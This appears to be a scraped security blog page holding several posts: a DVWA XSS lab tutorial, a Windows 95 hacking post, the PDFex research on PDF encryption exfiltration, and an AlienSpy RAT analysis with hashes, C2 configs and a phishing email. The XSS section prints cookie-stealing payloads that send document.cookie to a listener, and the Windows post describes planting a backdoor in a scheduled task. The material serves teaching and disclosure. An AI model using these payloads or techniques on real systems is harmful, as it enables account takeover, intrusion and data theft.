22 maio 2020

Evilginx2 - Install And Configure In Localhost Complete

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Tishna: An Automated Pentest Framework For Web Servers, Web Applications To Web Security

About Tishna:
   Tishna is complete automated pentest framework for web servers, application layer to web security.

   Tishna was tested on: Kali Linux, Parrot Security OS, Black Arch, Termux, Android Led TV.

Tishna's interface: Tishna has 62 options with full automation and can be use for web security swiss knife.

Tishna's installation: First, boot your Kali Linux or Parrot Security OS up. Then open Terminal and enter these commands

  • Cyber Space (Computer Security).
  • Terror Security (Computer Security).
  • National Cyber Security Services.

Brief Introduction
  • Tishna is useful in Banks, Private Organisations and Ethical hacker personnel for legal auditing.
  • It serves as a defense method to find as much as information possible for gaining unauthorised access and intrusion.
  • With the emergence of more advanced technology, cybercriminals have also found more ways to get into the system of many organizations.
  • Tishna software can audit, servers and web behaviour.
  • Tishna can perform Scanning & Enumeration as much as possible of target.
  • It's first step to stop cyber criminals by securing your Servers and Web Application Security.
  • Tishna is false positive free, when there is something it will show no matter what, if it is not, it will give blank results rather error.


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21 maio 2020

Learning Web Pentesting With DVWA Part 4: XSS (Cross Site Scripting)

In this article we are going to solve the Cross-Site Scripting Attack (XSS) challenges of DVWA app. Lets start by understanding what XSS attacks are. OWASP defines XSS as: "Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page."
XSS attacks are usually used to steal user cookies which let attackers control the victim's account or to deface a website. The severity of this attack depends on what type of account is compromised by the attacker. If it is a normal user account, the impact may not be that much but if it is an admin account it could lead to compromise of the whole app or even the servers.

DOM, Sources, and Sinks:

DVWA has three types of XSS challenges. We'll describe them as we go through them in this article. But before we go about to solve these challenges we need to understand few things about a browser. We need to know what Document Object Model (DOM) is and what are sources & sinks. DOM is used by browsers as a hierarchical representation of elements in the webpage. Wikipedia defines DOM as "a cross-platform and language-independent interface that treats an XML or HTML document as a tree structure wherein each node is an object representing a part of the document. The DOM represents a document with a logical tree". A source can be described simply as input that a user supplies. And a sink can be defined as "potentially dangerous JavaScript function or DOM object that can cause undesirable effects if attacker-controlled data is passed to it". Javascript function eval() is an example of a sink.

DOM Based XSS:

Now lets solve our first XSS challenge which is a DOM based XSS challenge. DOM based XSS occurs when sources are passed to sinks without proper validation. An attacker passes specifically crafted input to the sink to cause undesirable effects to the web app.
"Fundamentally, DOM-based vulnerabilities arise when a website passes data from a source to a sink, which then handles the data in an unsafe way in the context of the client's session."
On the DVWA app click on XSS (DOM), you will be presented with a page like this:
Keep an eye over the URL of the page. Now select a language and click the Select button. The URL should look like this now:
We are making a GET request to the server and sending a default parameter with the language that we select. This default parameter is the source and the server is passing this source to the sink directly without any validation. Now lets try to exploit this vulnerability by changing the URL to this:
When we hit enter after modifying the URL in the URL bar of the browser we should see an alert box popup with XSS written on it. This proves that the app is passing the data from source to sink without any validation now its time that we steal some cookies. Open another terminal or tab and setup a simple http server using python3 like this:
python3 -m http.server
By default the python http server runs on port 8000. Now lets modify the URL to steal the session cookies:
http://localhost:9000/vulnerabilities/xss_d/?default=<script>new Image().src="http://localhost:8000/?c="+document.cookie;</script>
The payload we have used here is from the github repository Payload all the things. It is an awesome repository of payloads. In this script, we define a new image whose source will be our python http server and we are appending user cookies to this request with the help of document.cookie javascript function. As can be seen in the image we get a request from the page as soon as the page loads with our xss payload and can see user cookies being passed with the request. That's it we have stolen the user cookies.

Reflected XSS:

Another type of XSS attack is called Reflected XSS Attack. OWASP describes Reflected XSS as those attacks "where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request."
To perform this type of attack, click on XSS (Reflected) navigation link in DVWA. After you open the web page you are presented with an input field that asks you to input your name.
Now just type your name and click on submit button. You'll see a response from server which contains the input that you provided. This response from the server which contains the user input is called reflection. What if we submit some javascript code in the input field lets try this out:
After typing the above javascript code in the input field click submit. As soon as you hit submit you'll see a pop-up on the webpage which has XSS written on it. In order to steal some cookies you know what to do. Lets use another payload from payload all the things. Enter the code below in the input field and click submit:
<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie />
Here we are using img html tag and its onerror attribute to load our request. Since image x is not present on the sever it will run onerror javascipt function which performs a GET request to our python http server with user cookies. Like we did before.
Referencing OWASP again, it is mentioned that "Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other website. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user's browser. The browser then executes the code because it came from a "trusted" server. Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS."
Obviously you'll need your super awesome social engineering skills to successfully execute this type of attack. But yeah we are good guys why would we do so?

Stored XSS:

The last type of XSS attack that we are going to see is Stored XSS Attack. OWASP describes Stored XSS attacks as those attacks "where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS."
To perform this type of XSS attack, click on XSS (Stored) navigation link in DVWA. As the page loads, we see a Guestbook Signing form.
In this form we have to provide our name and message. This information (name and message) is being stored in a database. Lets go for a test spin. Type your name and some message in the input fields and then click Sign Guestbook. You should see your name and message reflected down below the form. Now what makes stored XSS different from reflected XSS is that the information is stored in the database and hence will persist. When you performed a reflected XSS attack, the information you provided in the input field faded away and wasn't stored anywhere but during that request. In a stored XSS however our information is stored in the database and we can see it every time we visit the particular page. If you navigate to some other page and then navigate back to the XSS (Stored) page you'll see that your name and message is still there, it isn't gone. Now lets try to submit some javascript in the message box. Enter a name in the name input field and enter this script in the message box:
When we click on the Sign Guestbook button, we get a XSS alert message.
Now when you try to write your cookie stealing payload you notice you cannot put your payload in the box as the maximum input length for the textarea is set to 50. To get rid of this restriction, right-click on the textarea box and click inspect. Change or delete the maxlength="50" attribute in code:
<textarea name="mtxMessage" cols="50" rows="3" maxlength="50"></textarea>
to something like this:
<textarea name="mtxMessage" cols="50" rows="3"></textarea>
And now use your payload to steal some cookies:
<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie />
Everytime a user visits this page you'll get his/her cookies (Sweet...). You don't need to send any links or try your super powerful social engineering skills to get user cookies. Your script is there in the database it will be loaded everytime a user visits this vulnerable page.
This is it for today see you next time.


  1. DOM-based vulnerabilities: https://portswigger.net/web-security/dom-based
  2. DOM-based XSS: https://portswigger.net/web-security/cross-site-scripting/dom-based
  3. Document Object Model: https://en.wikipedia.org/wiki/Document_Object_Model
  4. Payload All the Things: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection
  5. Cross Site Scripting (XSS): https://owasp.org/www-community/attacks/xss/
More info

Hacking Windows 95, Part 2

In the Hacking Windows 95, part 1 blog post, we covered that through a nasty bug affecting Windows 95/98/ME, the share password can be guessed in no time. In this article, I'm going to try to use this vulnerability to achieve remote code execution (with the help of publicly available tools only).

The first thing we can do when we have read access to the Windows directory through the share, is to locate all the *.pwl files on the c:\windows directory, copy them to your machine where Cain is installed, switch to Cracker tab, pwl files, load the pwl file, add username based on the filename, and try to crack it. If you can't crack it you might still try to add a .pwl file where you already know the password in the remote windows directory. Although this is a fun post-exploitation task, but still, no remote code execution. These passwords are useless without physical access.

One might think that after having a share password and user password, it is easy to achieve remote code execution. The problem is:
  • there is no "at" command (available since Windows 95 plus!)
  • there is no admin share
  • there is no RPC
  • there is no named pipes
  • there is no remote registry
  • there is no remote service management
If you think about security best practices, disabling unnecessary services is always the first task you should do. Because Windows 95 lacks all of these services, it is pretty much secure!

During my quest for a tool to hack Windows 95, I came across some pretty cool stuff:

But the best of the best is Fluxay, which has been written by chinese hackers. It is the metasploit from the year 2000. A screenshot is worth more than a 1000 words. 4 screenshot > 4 thousand words :)

It is pretty hard to find the installer, but it is still out there!

But at the end, no remote code execution for me.

My idea here was that if I can find a file which executes regularly (on a scheduled basis), I can change that executable to my backdoor and I'm done. Although there is no scheduler in the default Windows 95, I gave it a try. 

Let's fire up taskman.exe to get an idea what processes are running:

Looks like we need a more powerful tool here, namely Process Explorer. Let's try to download this from oldapps.com:

LOL, IE3 hangs, can't render the page. Copying files to the Win95 VM is not that simple, because there are no shared folders in Win95 VM. And you can't use pendrives either, Win95 can't handle USB (at least the retail version). After downloading the application with a newer browser from oldapps, let's start Process Explorer on the test Windows 95.

Don't try to download the Winsocks 2 patch from the official MS site, it is not there anymore, but you can download it from other sites

Now let's look at the processes running:

After staring it for minutes, turned out it is constant, no new processes appeared.
Looking at the next screenshot, one can notice this OS was not running a lot of background processes ...

My current Win7 has 1181 threads and 84 processes running, no wonder it is slow as hell :)

We have at least the following options:
  1. You are lucky and not the plain Windows 95 is installed, but Windows 95 Plus! The main difference here is that Windows 95 Plus! has built-in scheduler, especially the "at" command. Just overwrite a file which is scheduled to execution, and wait. Mission accomplished!
  2. Ping of death - you can crash the machine (no BSOD, just crash) with long (over 65535 bytes) ICMP ping commands, and wait for someone to reboot it. Just don't forget to put your backdoor on the share and add it to autoexec.bat before crashing it. 
  3. If your target is a plain Windows 95, I believe you are out of luck. No at command, no named pipes, no admin share, nothing. Meybe you can try to fuzz port 137 138 139, and write an exploit for those. Might be even Ping of Death is exploitable?
Let's do the first option, and hack Windows 95 plus!
Look at the cool features we have by installing Win95 Plus!

Cool new boot splash screen!

But our main interest is the new, scheduled tasks!

Now we can replace diskalm.exe with our backdoor executable, and wait maximum one hour to be scheduled.

Instead of a boring text based tutorial, I created a YouTube video for you. Based on the feedbacks on my previous tutorialz, it turned out I'm way too old, and can't do interesting tutorials. That's why I analyzed the cool skiddie videoz, and found that I have to do the followings so my vidz won't suck anymore:
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PDFex: Major Security Flaws In PDF Encryption

After investigating the security of PDF signatures, we had a deeper look at PDF encryption. In co­ope­ra­ti­on with our friends from Müns­ter Uni­ver­si­ty of Ap­p­lied Sci­en­ces, we discovered severe weaknesses in the PDF encryption standard which lead to full plaintext exfiltration in an active-attacker scenario.

To guarantee confidentiality, PDF files can be encrypted. This enables the secure transfer and storing of sensitive documents without any further protection mechanisms.
The key management between the sender and recipient may be password based (the recipient must know the password used by the sender, or it must be transferred to them through a secure channel) or public key based (i.e., the sender knows the X.509 certificate of the recipient).
In this research, we analyze the security of encrypted PDF files and show how an attacker can exfiltrate the content without having the corresponding keys.

So what is the problem?

The security problems known as PDFex discovered by our research can be summarized as follows:
  1. Even without knowing the corresponding password, the attacker possessing an encrypted PDF file can manipulate parts of it.
    More precisely, the PDF specification allows the mixing of ciphertexts with plaintexts. In combination with further PDF features which allow the loading of external resources via HTTP, the attacker can run direct exfiltration attacks once a victim opens the file.
  2. PDF encryption uses the Cipher Block Chaining (CBC) encryption mode with no integrity checks, which implies ciphertext malleability.
    This allows us to create self-exfiltrating ciphertext parts using CBC malleability gadgets. We use this technique not only to modify existing plaintext but to construct entirely new encrypted objects.

Who uses PDF Encryption?

PDF encryption is widely used. Prominent companies like Canon and Samsung apply PDF encryption in document scanners to protect sensitive information.
Further providers like IBM offer PDF encryption services for PDF documents and other data (e.g., confidential images) by wrapping them into PDF. PDF encryption is also supported in different medical products to transfer health records, for example InnoportRicohRimage.
Due to the shortcomings regarding the deployment and usability of S/MIME and OpenPGP email encryption, some organizations use special gateways to automatically encrypt email messages as encrypted PDF attachments, for example CipherMailEncryptomaticNoSpamProxy. The password to decrypt these PDFs can be transmitted over a second channel, such as a text message (i.e., SMS).

Technical details of the attacks

We developed two different attack classes on PDF Encryption: Direct Exfiltration and CBC Gadgets.

Attack 1: Direct Exfiltration (Attack A)

The idea of this attack is to abuse the partial encryption feature by modifying an encrypted PDF file. As soon as the file is opened and decrypted by the victim sensitive content is sent to the attacker. Encrpyted PDF files does not have integrity protection. Thus, an attacker can modify the structure of encrypted PDF documents, add unencrypted objects, or wrap encrypted parts into a context controlled the attacker.
In the given example, the attacker abuses the flexibility of the PDF encryption standard to define certain objects as unencrypted. The attacker modifies the Encrypt dictionary (6 0 obj) in a way that the document is partially encrypted – all streams are left AES256 encrypted while strings are defined as unencrypted by setting the Identity filter. Thus, the attacker can freely modify strings in the document and add additional objects containing unencrypted strings.
The content to be exfiltrated is left encrypted, see Contents (4 0 obj) and EmbeddedFile (5 0 obj). The most relevant object for the attack is the definition of an Action, which can submit a form, invoke a URL, or execute JavaScript. The Action references the encrypted parts as content to be included in requests and can thereby be used to exfiltrate their plaintext to an arbitrary URL. The execution of the Action can be triggered automatically once the PDF file is opened (after the decryption) or via user interaction, for example, by clicking within the document.
This attack has three requirements to be successful. While all requirements are PDF standard compliant, they have not necessarily been implemented by every PDF application:
  • Partial encryption: Partially encrypted documents based on Crypt Filters like the Identity filter or based on other less supported methods like the None encryption algorithm.
  • Cross-object references: It must be possible to reference and access encrypted string or stream objects from unencrypted attacker-controlled parts of the PDF document.
  • Exfiltration channel: One of the interactive features allowing the PDF reader to communicate via Internet must exist, with or without user interaction. Such Features are PDF FormsHyperlinks, or JavaScript.
Please note that the attack does not abuse any cryptographic issues, so that there are no requirements to the underlying encryption algorithm (e.g., AES) or the encryption mode (e.g., CBC).
In the following, we show three techniques how an attack can exfiltrate the content.

Exfiltration via PDF Forms (A1)

The PDF standard allows a document's encrypted streams or strings to be defined as values of a PDF form to be submitted to an external server. This can be done by referencing their object numbers as the values of the form fields within the Catalog object, as shown in the example on the left side. The value of the PDF form points to the encrypted data stored in 2 0 obj.
To make the form auto-submit itself once the document is opened and decrypted, an OpenAction can be applied. Note that the object which contains the URL (http://p.df) for form submission is not encrypted and completely controlled by the attacker. As a result, as soon as the victim opens the PDF file and decrypts it, the OpenAction will be executed by sending the decrypted content of 2 0 obj to (http://p.df).

If forms are not supported by the PDF viewer, there is a second method to achieve direct exfiltration of a plaintext. The PDF standard allows setting a "base" URI in the Catalog object used to resolve all relative URIs in the document.
This enables an attacker to define the encrypted part as a relative URI to be leaked to the attacker's web server. Therefore the base URI will be prepended to each URI called within the PDF file. In the given example, we set the base URI to (http://p.df).
The plaintext can be leaked by clicking on a visible element such as a link, or without user interaction by defining a URI Action to be automatically performed once the document is opened.
In the given example, we define the base URI within an Object Stream, which allows objects of arbitrary type to be embedded within a stream. This construct is a standard compliant method to put unencrypted and encrypted strings within the same document. Note that for this attack variant, only strings can be exfiltrated due to the specification, but not streams; (relative) URIs must be of type string. However, fortunately (from an attacker's point of view), all encrypted streams in a PDF document can be re-written and defined as hex-encoded strings using the hexadecimal string notation.
Nevertheless, the attack has some notable drawbacks compared to  Exfiltration via PDF Forms:
  • The attack is not silent. While forms are usually submitted in the background (by the PDF viewer itself), to open hyperlinks, most applications launch an external web browser.
  • Compared to HTTP POST, the length of HTTP GET requests, as invoked by hyperlinks, is limited to a certain size.
  • PDF viewers do not necessarily URL-encode binary strings, making it difficult to leak compressed data.

Exfiltration via JavaScript (A3)

The PDF JavaScript reference allows JavaScript code within a PDF document to directly access arbitrary string/stream objects within the document and leak them with functions such as *getDataObjectContents* or *getAnnots*.
In the given example, the stream object 7 is given a Name (x), which is used to reference and leak it with a JavaScript action that is automatically triggered once the document is opened. The attack has some advantages compared to Exfiltration via PDF Forms and Exfiltration via Hyperlinks, such as the flexibility of an actual programming language.
It must, however, be noted that – while JavaScript actions are part of the PDF specification – various PDF applications have limited JavaScript support or disable it by default (e.g., Perfect PDF Reader).

Attack 2: CBC Gadgets (Attack B)

Not all PDF viewers support partially encrypted documents, which makes them immune to direct exfiltration attacks. However, because PDF encryption generally defines no authenticated encryption, attackers may use CBC gadgets to exfiltrate plaintext. The basic idea is to modify the plaintext data directly within an encrypted object, for example, by prefixing it with an URL. The CBC gadget attack, thus does not necessarily require cross-object references.
Note that all gadget-based attacks modify existing encrypted content or create new content from CBC gadgets. This is possible due to the malleability property of the CBC encryption mode.
This attack has two necessary preconditions:
  • Known plaintext: To manipulate an encrypted object using CBC gadgets, a known plaintext segment is necessary. For AESV3 – the most recent encryption algorithm – this plain- text is always given by the Perms entry. For older versions, known plaintext from the object to be exfiltrated is necessary.
  • Exfiltration channel: One of the interactive features: PDF Forms or Hyperlinks.
These requirements differ from those of the direct exfiltration attacks, because the attacks are applied "through" the encryption layer and not outside of it.

Exfiltration via PDF Forms (B1)

As described above, PDF allows the submission of string and stream objects to a web server. This can be used in conjunction with CBC gadgets to leak the plaintext to an attacker-controlled server, even if partial encryption is not allowed.
A CBC gadget constructed from the known plaintext can be used as the submission URL, as shown in the example on the left side. The construction of this particular URL gadget is challenging. As PDF encryption uses PKCS#5 padding, constructing the URL using a single gadget from the known Perms plaintext is difficult, as the last 4 bytes that would need to contain the padding are unknown.
However, we identified two techniques to solve this. On the one hand, we can take the last block of an unknown ciphertext and append it to our constructed URL, essentially reusing the correct PKCS#5 padding of the unknown plaintext. Unfortunately, this would introduce 20 bytes of random data from the gadgeting process and up to 15 bytes of the unknown plaintext to the end of our URL.
On the other hand, the PDF standard allows the execution of multiple OpenActions in a document, allowing us to essentially guess the last padding byte of the Perms value. This is possible by iterating over all 256 possible values of the last plaintext byte to get 0x01, resulting in a URL with as little random as possible (3 bytes). As a limitation, if one of the 3 random bytes contains special characters, the form submission URL might break.
Using CBC gadgets, encrypted plaintext can be prefixed with one or more chosen plaintext blocks. An attacker can construct URLs in the encrypted PDF document that contain the plaintext to exfiltrate. This attack is similar to the exfiltration hyperlink attack (A2). However, it does not require the setting of a "base" URI in plaintext to achieve exfiltration.
The same limitations described for direct exfiltration based on links (A2) apply. Additionally, the constructed URL contains random bytes from the gadgeting process, which may prevent the exfiltration in some cases.

Exfiltration via Half-Open Object Streams (B3)

While CBC gadgets are generally restricted to the block size of the underlying block cipher – and more specifically the length of the known plaintext, in this case, 12 bytes – longer chosen plaintexts can be constructed using compression. Deflate compression, which is available as a filter for PDF streams, allows writing both uncompressed and compressed segments into the same stream. The compressed segments can reference back to the uncompressed segments and achieve the repetition of byte strings from these segments. These backreferences allow us to construct longer continuous plaintext blocks than CBC gadgets would typically allow for. Naturally, the first uncompressed occurrence of a byte string still appears in the decompressed result. Additionally, if the compressed stream is constructed using gadgets, each gadget generates 20 random bytes that appear in the decompressed stream. A non-trivial obstacle is to keep the PDF viewer from interpreting these fragments in the decompressed stream. While hiding the fragments in comments is possible, PDF comments are single-line and are thus susceptible to newline characters in the random bytes. Therefore, in reality, the length of constructed compressed plaintexts is limited.
To deal with this caveat, an attacker can use ObjectStreams which allow the storage of arbitrary objects inside a stream. The attacker uses an object stream to define new objects using CBC gadgets. An object stream always starts with a header of space-separated integers which define the object number and the byte offset of the object inside the stream. The dictionary of an object stream contains the key First which defines the byte offset of the first object inside the stream. An attacker can use this value to create a comment of arbitrary size by setting it to the first byte after their comment.
Using compression has the additional advantage that compressed, encrypted plaintexts from the original document can be embedded into the modified object. As PDF applications often create compressed streams, these can be incorporated into the attacker-created compressed object and will therefore be decompressed by the PDF applications. This is a significant advantage over leaking the compressed plaintexts without decompression as the compressed bytes are often not URL-encoded correctly (or at all) by the PDF applications, leading to incomplete or incomprehensible plaintexts. However, due to the inner workings of the deflate algorithms, a complete compressed plaintext can only be prefixed with new segments, but not postfixed. Therefore, a string created using this technique cannot be terminated using a closing bracket, leading to a half-open string. This is not a standard compliant construction, and PDF viewers should not accept it. However, a majority of PDF viewers accept it anyway.


During our security analysis, we identified two standard compliant attack classes which break the confidentiality of encrypted PDF files. Our evaluation shows that among 27 widely-used PDF viewers, all of them are vulnerable to at least one of those attacks, including popular software such as Adobe Acrobat, Foxit Reader, Evince, Okular, Chrome, and Firefox.
You can find the detailed results of our evaluation here.

What is the root cause of the problem?

First, many data formats allow to encrypt only parts of the content (e.g., XML, S/MIME, PDF). This encryption flexibility is difficult to handle and allows an attacker to include their own content, which can lead to exfiltration channels.
Second, when it comes to encryption, AES-CBC – or encryption without integrity protection in general – is still widely supported. Even the latest PDF 2.0 specification released in 2017 still relies on it. This must be fixed in future PDF specifications and any other format encryption standard, without enabling backward compatibility that would re-enable CBC gadgets.
A positive example is JSON Web Encryption standard, which learned from the CBC attacks on XML and does not support any encryption algorithm without integrity protection.

Authors of this Post

Jens Müller
Fabian Ising
Vladislav Mladenov
Christian Mainka
Sebastian Schinzel
Jörg Schwenk


Many thanks to the CERT-Bund team for the great support during the responsible disclosure process.

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20 maio 2020

AlienSpy Java RAT Samples And Traffic Information

AlienSpy Java based cross platform RAT is another reincarnation of ever popular Unrecom/Adwind and Frutas RATs that have been circulating through 2014.

It appears to be used in the same campaigns as was Unrccom/Adwind - see the references. If C2 responds, the java RAT downloads Jar files containing Windows Pony/Ponik loader. The RAT is crossplatform and installs and beacons from OSX and Linux as well. However, it did not download any additional malware while running on OSX and Linux.

The samples, pcaps, and traffic protocol information  are available below.

File information

File: DB46ADCFAE462E7C475C171FBE66DF82_paymentadvice.jar
Size: 131178
MD5:  DB46ADCFAE462E7C475C171FBE66DF82

File: 01234.exe (Pony loader dropped by FAB8DE636D6F1EC93EEECAADE8B9BC68 - Transfer.jar_
Size: 792122
MD5:  B5E7CD42B45F8670ADAF96BBCA5AE2D0

File: 79e9dd35aef6558461c4b93cd0c55b76_Purchase Order.jar
Size: 125985
MD5:  79E9DD35AEF6558461C4B93CD0C55B76

File: B2856B11FF23D35DA2C9C906C61781BA_purchaseorder.jar
Size: 49084
MD5:  b2856b11ff23d35da2c9c906c61781ba


Original jar attachment files
79e9dd35aef6558461c4b93cd0c55b76_Purchase Order.jar

Pcap files download

All files with created and downloaded


Boredliner: Cracking obfuscated java code - Adwind 3 << detailed java analysis
Fidelis: RAT in a jar:A phishing campaign using Unrecom May 21, 2014
Crowdstrike: Adwind RAT rebranding
Symantec:Adwind RAT
Symantec: Frutas RAT
Symantec: Ponik/Pony

Java Serialization References: 

Additional File details

Alienspy RAT
The following RAT config strings are extracted from memory dumps. Alienspy RAT is a reincarnated Unrecom/Adwind << Frutas RAT and is available from https://alienspy.net/
As you see by the config, it is very similar to Unrecom/Adwind
File: paymentadvice.jar
Size: 131178

MD5:  DB46ADCFAE462E7C475C171FBE66DF82
        │       MANIFEST.MF  <<MD5:  11691d9f7d585c528ca22f7ba6f4a131 Size: 90
        │       Server.class <<MD5:  3d9ffbe03567067ae0d68124b5b7b748 Size: 520 << Strings are here
                EcryptedWrapper.class <<MD5:  f2701642ac72992c983cb85981a5aeb6 Size: 89870
                EncryptedLoader.class <<MD5:  3edfd511873b30d1373a4dc54db336ee Size: 223356
                EncryptedLoaderOld.class << MD5:  b0ef7ff41caf69d9ae076c605653c4c7 Size: 15816
                stub.dll << MD5:  64fb8dfb8d25a0273081e78e7c40ca5e Size: 43648 << Strings are here

Alienspy Rat Config strings
<!DOCTYPE properties SYSTEM "http://java.sun.com/dtd/properties.dtd">
<entry key="vbox">false</entry>
<entry key="password">a2e74aef2c17329f0e8e8f347c62a6a03d16b944</entry>
<entry key="p2">1079</entry>
<entry key="p1">1077</entry>
<entry key="ps_hacker">false</entry>
<entry key="install_time">2000</entry>
<entry key="taskmgr">false</entry>
<entry key="connetion_time">2000</entry>
<entry key="registryname">GKXeW0Yke7</entry>
<entry key="wireshark">false</entry>
<entry key="NAME">IHEAKA</entry>
<entry key="jarname">unXX0JIhwW</entry>
<entry key="dns"></entry>
<entry key="ps_explorer">false</entry>
<entry key="msconfig">false</entry>
<entry key="pluginfoldername">m4w6OAI02f</entry>
<entry key="extensionname">xBQ</entry>
<entry key="install">true</entry>
<entry key="win_defender">false</entry>
<entry key="uac">false</entry>
<entry key="jarfoldername">9bor9J6cRd</entry>
<entry key="mutex">xooJlYrm61</entry>
<entry key="prefix">IHEAKA</entry>
<entry key="restore_system">false</entry>
<entry key="vmware">false</entry>
<entry key="desktop">true</entry>
<entry key="reconnetion_time">2000</entry>

Decimal: 3425554216
Hostname: 212.clients.instantdedis.com
ISP: FDCservers.net
Country: United States
State/Region: Colorado
City: Denver

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE properties SYSTEM "http://java.sun.com/dtd/properties.dtd">
<entry key="pluginfolder">fy0qFUFuLP</entry>
<entry key="reconnetion_time">3000</entry>
<entry key="ps_hacker">true</entry>
<entry key="restore_system">true</entry>
<entry key="pluginfoldername">fy0qFUFuLP</entry>
<entry key="dns"></entry>
<entry key="install_time">3000</entry>
<entry key="port2">1065</entry>
<entry key="port1">1064</entry>
<entry key="taskmgr">true</entry>
<entry key="vmware">false</entry>
<entry key="jarname">LcuSMagrlF</entry>
<entry key="msconfig">true</entry>
<entry key="mutex">VblVc5kEqY</entry>
<entry key="install">true</entry>
<entry key="instalar">true</entry>
<entry key="vbox">false</entry>
<entry key="password">7110eda4d09e062aa5e4a390b0a572ac0d2c0220</entry>
<entry key="NAME">xmas things</entry>
<entry key="extensionname">7h8</entry>
<entry key="prefix">xmas</entry>
<entry key="jarfoldername">jcwDpUEpCh</entry>
<entry key="uac">true</entry>
<entry key="win_defender">true</entry>
<entry key="

Decimal: 643402232
ISP: Cogent Communications
Country: United States us flag

Created Files

 DB46ADCFAE462E7C475C171FBE66DF82  paymentadvice.jar

%USERPROFILE%\Application Data\evt88IWdHO\CnREgyvLBS.txt <<MD5:  abe6ef71e44d2e145033800d0dccea57 << strings are here (by classes)
%USERPROFILE%\Application Data\evt88IWdHO\Desktop.ini
%USERPROFILE%\Local Settings\Temp\asdqw15727804162199772615555.jar << Strings are here
%USERPROFILE%\Local Settings\Temp\iWimMQLgpsT2624529381479181764.png (seen Transfer.jar in the stream) <<MD5:  fab8de636d6f1ec93eeecaade8b9bc68 Size: 755017 << Strings are here
%USERPROFILE%\29OVHAabdr.tmp << timestamp file << Strings are here

\deleted_files\%USERPROFILE%\\29OVHAabdr.tmp << timestamp file << Strings are here
\deleted_files\%USERPROFILE%\\Application Data\9bor9J6cRd\Desktop.ini << Strings are here
\deleted_files\%USERPROFILE%\\Application Data\9bor9J6cRd\unXX0JIhwW.txt <MD5:  DB46ADCFAE462E7C475C171FBE66DF82 < original jar << Strings are here
\deleted_files\%USERPROFILE%\\Local Settings\Temp\14583359.bat << Strings are here
\deleted_files\%USERPROFILE%\\Local Settings\Temp\asdqw4727319084772952101234.exe << Pony Downloader MD5:  b5e7cd42b45f8670adaf96bbca5ae2d0 Size: 792122 < Strings are here
\deleted_files\%USERPROFILE%\\Local Settings\Temp\OiuFr7LcfXq1847924646026958055.vbs <<MD5:  9E1EDE0DEDADB7AF34C0222ADA2D58C9 Strings are here
\deleted_files\%USERPROFILE%\\xooJlYrm61.tmp < timestamp file << Strings are here
\deleted_files\C\WINDOWS\tem.txt - 0bytes

IWIMMQLGPST2624529381479181764.PNG MD5: fab8de636d6f1ec93eeecaade8b9bc68

│   └───java
│       │   Main.class << MD5:  d020b9fdac0139d43997f9ec14fa5947 Size: 7232
│       │   Manifest.mf << MD5:  a396d2898e8a83aa5233c4258de006e3 Size: 750412
│               │   01234.exe << MD5:  b5e7cd42b45f8670adaf96bbca5ae2d0 Size: 792122
│               │   15555.jar << MD5:  abe6ef71e44d2e145033800d0dccea57 Size: 50922
│               └───15555
│                   │   ID
│                   │   Main.class << MD5:  d020b9fdac0139d43997f9ec14fa5947 Size: 7232
│                   │   MANIFEST.MF << MD5:  a396d2898e8a83aa5233c4258de006e3 Size: 750412
│                   │
│                   ├───META-INF
│                   └───plugins
        MANIFEST.MF << MD5:  042c2fa9077d96478ce585d210641d9a Size: 171

File types
  1. 14583359.bat (.txt) "Text file"
  2. 29OVHAabdr.tmp (.txt) "Text file"
  3. asdqw15727804162199772615555.jar (.zip) "PKZIP Compressed"
  4. asdqw4727319084772952101234.exe (.exe) "Executable File" 
  5. CnREgyvLBS.txt (.zip) "PKZIP Compressed"
  6. Desktop.ini (.txt) "Text file"
  7. DFR5.tmp (.txt) "Text file"
  8. iWimMQLgpsT2624529381479181764.png (.zip) "Zip Compressed"
  9. iWimMQLgpsT2624529381479181764.png (.zip) "PKZIP Compressed"
  10. OiuFr7LcfXq1847924646026958055.vbs (.txt) "Vbs script file"
  11. tem.txt (.txt) "Text file"
  12. unXX0JIhwW.txt (.zip) "PKZIP Compressed"
  13. xooJlYrm61.tmp (.txt) "Text file"

79e9dd35aef6558461c4b93cd0c55b76 Purchase Order.jar
Received: from magix-webmail (webmail.app.magix-online.com [])
by smtp.app.magix-online.com (Postfix) with ESMTPSA id B626052E77F;
Sun, 16 Nov 2014 14:54:06 +0100 (CET)
Received: from ([]) by
 webmail.magix-online.com (Horde Framework) with HTTP; Sun, 16 Nov 2014
 14:54:06 +0100
Date: Sun, 16 Nov 2014 14:54:06 +0100
Message-ID: <20141116145406.Horde.YL7L4Bi7ap6_NXm76DDEaw2@webmail.magix-online.com>
From: Outokumpu Import Co Ltd <purchase@brentyil.org>
Subject: Re: Confirm correct details
Reply-to: jingwings@outlook.com
User-Agent: Internet Messaging Program (IMP) H5 (6.1.4)
Content-Type: multipart/mixed; boundary="=_FMdois7zoq7xTAV91epZoQ6"
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
This message is in MIME format.
Content-Type: text/plain; charset=UTF-8; format=flowed; DelSp=Yes
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
Dear Sir,
Please confirm the attached purchase order for your reference.
Please acknowledge Invoice for the final confirmation and confirm  
details are correct so we can proceed accordingly.
Please give me feedback through this email.
Area Manager 
Central Region
Outokumpu Import Co Ltd
Tel:   +966-11-265-2030
Fax:  +966-11-265-0350
Mob: +966-50 610 8743
P.O Box: 172 Riyadh 11383
